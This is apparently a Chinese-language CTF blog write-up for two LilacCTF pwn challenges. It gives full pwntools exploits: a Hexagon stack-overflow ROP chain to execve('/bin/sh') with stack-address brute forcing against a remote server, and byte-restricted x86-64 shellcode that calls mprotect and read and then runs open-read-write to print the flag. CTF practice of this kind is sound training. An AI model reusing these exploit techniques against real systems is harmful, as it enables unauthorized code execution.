LiacCTF PWN

想起来好久没更新博客了,刚好这次打了LilacCTF,顺便发下wp吧。题目总体感觉没有那么难,奈何实力不够,只写出了两道题目,希望下次比赛发挥的更好吧。

PWN

Gate-Way

题目分析

附件是Qualcom Hexagon架构的文件,静态编译

复制代码
(pwnenv) ╭─yui@yui ~/STUDY/ctf/LilacCTF2026/pwn/Gate-Way 
╰─$ checksec --file=pwn
[*] '/home/yui/STUDY/ctf/LilacCTF2026/pwn/Gate-Way/pwn'
    Arch:       em_qdsp6-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x10000)
(pwnenv) ╭─yui@yui ~/STUDY/ctf/LilacCTF2026/pwn/Gate-Way 
╰─$ file pwn
pwn: ELF 32-bit LSB executable, QUALCOMM DSP6, version 1 (SYSV), statically linked, stripped

ida需要装插件(n-o-o-n/idp_hexagon: Hexagon processor module for IDA Pro disassembler)才可以反汇编Hexagon架构文件

ida装完插件还是看不了伪代码,不过和mips风格有点像

本来想用qemu 开端口然后gdb-multiarch附加远程调试的,但一直连不上,我猜原因可能是gdb-multiarch无法识别Hexagon架构,不过看别的师傅的博客发现可以用strace跟踪调试

先./qemu-hexagon ./pwn看下大概逻辑

复制代码
(pwnenv) ╭─yui@yui ~/STUDY/ctf/LilacCTF2026/pwn/Gate-Way
╰─$ ./qemu-hexagon ./pwn
=== Lilac Gate Way ===
1. Manage.
2. Reset.
3. Exit.

有三个功能,管理、重置和退出,管理功能有reg、del、show

复制代码
=== Lilac Gate Way ===
1. Register Service.
2. Delete Service.
3. Show Service.
1
Input ip:port|description
Example:
172.16.0.1:7777|Location Lookup Service

reg的输入需要是ip:port|description格式,我们定位一下字符串,发现下面的函数

先后call了22120、21e60、20f30三个函数,strace跟一下

22120明显就是writev,20F30是逐字节read,而且是可以无限溢出的,结合ai发现21E60用于刷新缓冲区,把刚才writev的数据打印

20F30我们传入的参数是R0 = add(fp, #-0x68),栈上偏移0x68的位置,根据这个偏移我们就可以构造rop利用了

通过覆盖LR和FP,就可以实现栈迁移,再找gadgets控制寄存器执行syscall即可

由于栈地址是不变的,所以不需要泄露地址,打远程的时候爆破一下栈地址就行了

结合ai找到的gadget链

r0=r16=memw(SP + 0x8),r6=r19=memw(SP + 0x4),这时候执行trap0就会调用execve('/bin/sh')

利用思路

  • 利用栈溢出覆盖LR、FP,并在栈上写入gadget
  • 栈迁移到gadget,控制寄存器并执行syscall
  • getshell!

exp

python 复制代码
from pwn import *
import sys
import time

# context.log_level = 'debug'
context.log_level = 'info'

HOST = '1.95.71.133'
PORT = 8888

# Gadgets
GADGET_RET = 0x2150c
GADGET_SAFE_LOAD = 0x217e4
GADGET_SYSCALL = 0x214f4

# 1. Known Good Targets
PRIORITY_TARGETS = [
    0x4080f528, # Docker (Most likely closer to remote)
    0x4080ea98, # Local Zsh
    0x4080ea88, # Local Antigravity
]

# 2. Brute Force Configuration
BF_START = 0x4080fa00
BF_END   = 0x40813000 # Scan ~16KB range
BF_STEP  = 8

def attempts(target_fp):
    p = None
    try:
        # sys.stdout.write(f"\r[*] Trying {hex(target_fp)}... ")
        # sys.stdout.flush()
        
        p = remote(HOST, PORT, timeout=5)
        
        # Interaction
        p.recvuntil(b'3. Exit.', timeout=3)
        p.sendline(b'1')
        p.recvuntil(b'3. Show Service.', timeout=3)
        p.sendline(b'1')
        p.recvuntil(b'<<', timeout=3)

        buf = bytearray(b'A' * 300)
        
        def write_u32(idx, val):
            buf[idx:idx+4] = p32(val)

        # Buffer Layout logic (Same as solve.py V16)
        
        # Frame 2 Address
        FRAME2_ADDR = target_fp + 32
        
        # Binsh at 40
        BINSH_ADDR = target_fp + 40
        binsh_str = b"/bin/sh\x00"
        buf[40:40+len(binsh_str)] = binsh_str

        # [0]: Next FP (Frame 2)
        write_u32(0, FRAME2_ADDR)
        
        # [4]: Next LR (Safe Load)
        write_u32(4, GADGET_SAFE_LOAD)
        
        # [8]: R19:18 (R18=0, R19=221)
        write_u32(8, 0)
        write_u32(12, 221)
        
        # [16]: R17:16 (R16=BINSH, R17=0)
        write_u32(16, BINSH_ADDR)
        write_u32(20, 0)
        
        # [32]: Frame 2 Start
        # Frame 2 [0]: Next FP (Junk)
        write_u32(32, 0xdeadbeef)
        # Frame 2 [4]: Next LR (Syscall)
        write_u32(36, GADGET_SYSCALL)
        
        # Overflow
        OFFSET_FP = 88
        OFFSET_LR = 92
        
        write_u32(OFFSET_FP, target_fp)
        write_u32(OFFSET_LR, GADGET_RET)
        
        prefix = b"172.16.0.1:7777|"
        p.sendline(prefix + buf[:200])
        
        # Check Success
        # If successful, '3' will return to our gadget chain
        p.recvuntil(b'3. Show Service.', timeout=1)
        p.sendline(b'3')
        
        # Flush buffers
        try:
            p.recv(4096, timeout=0.5)
        except:
            pass
            
        # Send command
        p.sendline(b'echo REMOTE_PWNED; id; ls /; cat /flag')
        
        # Read response
        data = p.recvall(timeout=2)
        
        if b'REMOTE_PWNED' in data or b'uid=' in data or b'flag' in data:
            print(f"\n\n[+] !!! REMOTE SUCCESS !!! Target: {hex(target_fp)}")
            print(data.decode(errors='ignore'))
            return True
            
    except Exception as e:
        # print(f"Err: {e}")
        pass
    finally:
        if p: p.close()
    return False

def run_remote():
    log.info(f"Targeting Remote: {HOST}:{PORT}")
    
    # 1. Try Priority List
    log.info("Phase 1: Probing Known Targets...")
    for t in PRIORITY_TARGETS:
        log.info(f"Probing Known: {hex(t)}")
        if attempts(t):
            return

    # 2. Try Brute Force
    log.info(f"Phase 2: Brute Forcing {hex(BF_START)} -> {hex(BF_END)}...")
    total = (BF_END - BF_START) // BF_STEP
    count = 0
    
    # Generate list first to avoid duplicates with priority
    scan_list = []
    for fp in range(BF_START, BF_END, BF_STEP):
        if fp not in PRIORITY_TARGETS:
            scan_list.append(fp)
            
    for fp in scan_list:
        count += 1
        if count % 10 == 0:
            sys.stdout.write(f"\rProgress: {count}/{len(scan_list)} | Current: {hex(fp)}")
            sys.stdout.flush()
            
        if attempts(fp):
            return

    log.failure("Exploit failed on all targets.")

if __name__ == '__main__':
    run_remote()

最后爆破出来的远程地址是0x4080fde8

bytezoo

题目分析

shellcode题,先mmap了两片内存,一个存shellcode,一个是shellcode执行时的栈空间,然后把第一片内存设为rx

限制条件是opcode每个对应字符出现的数量不能超过 其高四位和低四位之间的最小值,例如\x76出现的次数上限是min(7,6)=6,\xf0出现的次数上限是min(f,0)为0

这样限制了很多指令的调用,例如syscall(\x0f\x05)就不能出现

执行syscall时的内存

出题人很"贴心"的为我们提供了一个syscall

我们一开始思路是将syscall地址写入rbp,然后call rbp执行系统调用,构造执行mprotect->read

但构造成功后发现syscall之后没有ret,执行一次syscall之后就会程序就会报错

复制代码
► 0x2adc045    call   rbp                         <0x2adcffe>

 ► 0x2adcffe    syscall  <SYS_mprotect>
        addr: 0x2adc000 ◂--- sub edi, edi
        len: 0x13ff
        prot: 7
        
pwndbg> x/10i  0x2adcffe
   0x2adcffe:   syscall
=> 0x2add000:   Cannot access memory at address 0x2add000

然后思路改成向栈中写入伪造的sigframe,但没有syscall;ret还是无法连续执行系统调用

最后发现可以使用mov rbx,qword ptr fs:[-0x38] 将fs 基地址存入寄存器,这样我们就得到了libc地址,就可以随便调用函数了

执行mprotect-->read,写入orw即可(所以题目里写的\x0f\x05是不是只是为了挖坑的...)

exp

python 复制代码
from pwn import *
import sys
import random

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
binary = './pwn_patched'
libc = ELF('./libc.so.6')
if args.REMOTE:
    io = remote("1.95.148.179", 8888)
    
else:
    io = process(binary)


def debug():
    gdb.attach(io)
    pause()


main_arena = libc.symbols['main_arena']
mprotect = libc.symbols['mprotect']
read = libc.symbols['read']
write = libc.symbols['write']
log.success(f"main_arena: {hex(main_arena)}")
log.success(f"mprotect: {hex(mprotect)}")
log.success(f"read: {hex(read)}")
log.success(f"write: {hex(write)}")
# [+] main_arena: 0x21ac80
# [+] mprotect: 0x11eb10 #0xFC170
# [+] read: 0x114840
# [+] write: 0x1148e0
debug()

shellcode = asm(
'''
mov rbx,qword ptr fs:[-0x38] /* fs:[-0x38] = main_arena */
push rbx
pop rbp
xchg edi,eax
mov eax, 0x88888898
sub eax, 0x8878c728  /* eax = 0xfc170 */
sub rbp, rax         /* rbp = mprotect address */

mov edx, 0x65667799
sub edx, 0x65667792

call rbp

mov eax, 0x77777777
sub eax, 0x7776D4A7  
sub rbp, rax         /* rbp = read address */

xchg edi,esi

mov edx,edx

xor edi,edi
xchg r11,rdx
call rbp



'''
    )

p = b"\x90"*0x50
p += asm('''
    mov edx,0x67616c66  #写文件名的同时置rdx为合法值
    push rdx
    mov rdi,rsp
    xor esi,esi   #如果本来rsi=0,可以删掉这句
    mov eax,2
    syscall

    mov edi,eax
    mov rsi,rsp
    xor eax,eax
    sub rsi,0xf0
    mov rdx,0x80
    syscall

    xor edi,2
    mov eax,edi
    mov rdx,0x80
    syscall
''')

io.send(shellcode)


# time.sleep(0.5)
pause()
io.sendline(p)
io.interactive()